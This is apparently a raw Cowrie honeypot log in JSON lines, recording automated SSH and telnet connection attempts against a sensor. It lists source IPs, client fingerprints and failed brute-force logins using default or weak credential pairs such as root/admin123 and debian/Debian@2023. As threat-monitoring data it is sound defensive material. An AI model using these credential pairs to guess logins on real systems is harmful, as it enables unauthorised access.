{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:17:1c:ed:fb:cc:98:79:e1:80:68:44:d2:47:7a:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA4HekggmNNtahQ//MlW1T27X76ne7WhSdzo2ETN30OONjOcvyou8OBIPnns+fsRRRKntQ6A137rvimr8X8fH6ehOeH8ionDxOuz1jwqivJum8CYHM07QUCZrFflAzsM2iJ/2R2sx3zdA8yBJw1ai9RXnYqlDbywN4Bp5oJ9+H86xuVl911kXpvKejuw3K5KaickIUYieqK6PL8J8EVyytr+C1FuzQTNo3CKdSn+eabAAhaspXgBHByMvKIgv2iDVh1o2LxFQWOxi3HQB3FRQ1KvGnMIszR/8uXHnQhe0+KGE/yDKK/AMTPcWKJ2y6r5hPxnY0/27rwvPL74JdtydzVQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:17.184483Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:17.395700Z","src_ip":"210.114.19.195","session":"8e840607ca0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47606,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6b0f5a95bed","protocol":"ssh","message":"New connection: 192.109.200.78:47606 (10.17.0.5:22) [session: d6b0f5a95bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:18.111493Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:18.278903Z","src_ip":"192.109.200.78","session":"d6b0f5a95bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:18.282925Z","src_ip":"192.109.200.78","session":"d6b0f5a95bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portal","password":"portal","message":"login attempt [portal/portal] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:18.616070Z","src_ip":"192.109.200.78","session":"d6b0f5a95bed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:19.700864Z","src_ip":"192.109.200.78","session":"d6b0f5a95bed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":47626,"dst_ip":"10.17.0.5","dst_port":22,"session":"651cb57f4f78","protocol":"ssh","message":"New connection: 192.109.200.78:47626 (10.17.0.5:22) [session: 651cb57f4f78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:21.730846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:21.735164Z","src_ip":"192.109.200.78","session":"651cb57f4f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:21.817351Z","src_ip":"192.109.200.78","session":"651cb57f4f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alex","password":"1234","message":"login attempt [alex/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:22.065894Z","src_ip":"192.109.200.78","session":"651cb57f4f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.207.4.157","src_port":42338,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c8a3ec90938","protocol":"ssh","message":"New connection: 92.207.4.157:42338 (159.203.135.109:22) [session: 6c8a3ec90938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:22.964633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:22.969148Z","src_ip":"92.207.4.157","session":"6c8a3ec90938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:23.073467Z","src_ip":"92.207.4.157","session":"6c8a3ec90938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:23.149693Z","src_ip":"192.109.200.78","session":"651cb57f4f78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"Debian@2023","message":"login attempt [debian/Debian@2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:23.514902Z","src_ip":"92.207.4.157","session":"6c8a3ec90938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:24.619026Z","src_ip":"92.207.4.157","session":"6c8a3ec90938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54096,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce5d39cb516d","protocol":"ssh","message":"New connection: 192.109.200.78:54096 (10.17.0.5:22) [session: ce5d39cb516d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:25.178486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:25.183250Z","src_ip":"192.109.200.78","session":"ce5d39cb516d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:25.264656Z","src_ip":"192.109.200.78","session":"ce5d39cb516d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"systemd","password":"1q2w3e4r","message":"login attempt [systemd/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:25.509490Z","src_ip":"192.109.200.78","session":"ce5d39cb516d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":57302,"dst_ip":"159.203.135.109","dst_port":22,"session":"8f7be4b918f9","protocol":"ssh","message":"New connection: 27.71.230.31:57302 (159.203.135.109:22) [session: 8f7be4b918f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:26.173072Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:26.188382Z","src_ip":"27.71.230.31","session":"8f7be4b918f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":54866,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e6cf2ec5817","protocol":"ssh","message":"New connection: 103.77.242.62:54866 (10.17.0.5:22) [session: 9e6cf2ec5817]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:26.561646Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:26.568637Z","src_ip":"103.77.242.62","session":"9e6cf2ec5817","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:26.592259Z","src_ip":"192.109.200.78","session":"ce5d39cb516d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:26.804030Z","src_ip":"103.77.242.62","session":"9e6cf2ec5817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10121993","message":"login attempt [root/10121993] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:27.513383Z","src_ip":"103.77.242.62","session":"9e6cf2ec5817","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:28.131433Z","src_ip":"27.71.230.31","session":"8f7be4b918f9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":54100,"dst_ip":"10.17.0.5","dst_port":22,"session":"adf9985ccb32","protocol":"ssh","message":"New connection: 192.109.200.78:54100 (10.17.0.5:22) [session: adf9985ccb32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:28.631950Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:28.731611Z","src_ip":"192.109.200.78","session":"adf9985ccb32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:28.734986Z","src_ip":"192.109.200.78","session":"adf9985ccb32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:28.751580Z","src_ip":"103.77.242.62","session":"9e6cf2ec5817","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"usuario","password":"usuario","message":"login attempt [usuario/usuario] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:29.060623Z","src_ip":"192.109.200.78","session":"adf9985ccb32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:30.145128Z","src_ip":"192.109.200.78","session":"adf9985ccb32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":52262,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa264a673217","protocol":"telnet","message":"New connection: 107.6.151.170:52262 (159.203.135.109:23) [session: aa264a673217]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:31.891711Z"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":52232,"dst_ip":"10.17.0.5","dst_port":22,"session":"50e1fc93eee1","protocol":"ssh","message":"New connection: 192.109.200.78:52232 (10.17.0.5:22) [session: 50e1fc93eee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:32.225186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:32.229964Z","src_ip":"192.109.200.78","session":"50e1fc93eee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:32.311491Z","src_ip":"192.109.200.78","session":"50e1fc93eee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Welcome@123","message":"login attempt [root/Welcome@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:32.557391Z","src_ip":"192.109.200.78","session":"50e1fc93eee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin123","message":"login attempt [root/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:32.869354Z","src_ip":"27.71.230.31","session":"8f7be4b918f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:33.641604Z","src_ip":"192.109.200.78","session":"50e1fc93eee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T02:44:34.158091Z","src_ip":"27.71.230.31","session":"8f7be4b918f9","protocol":"ssh"}
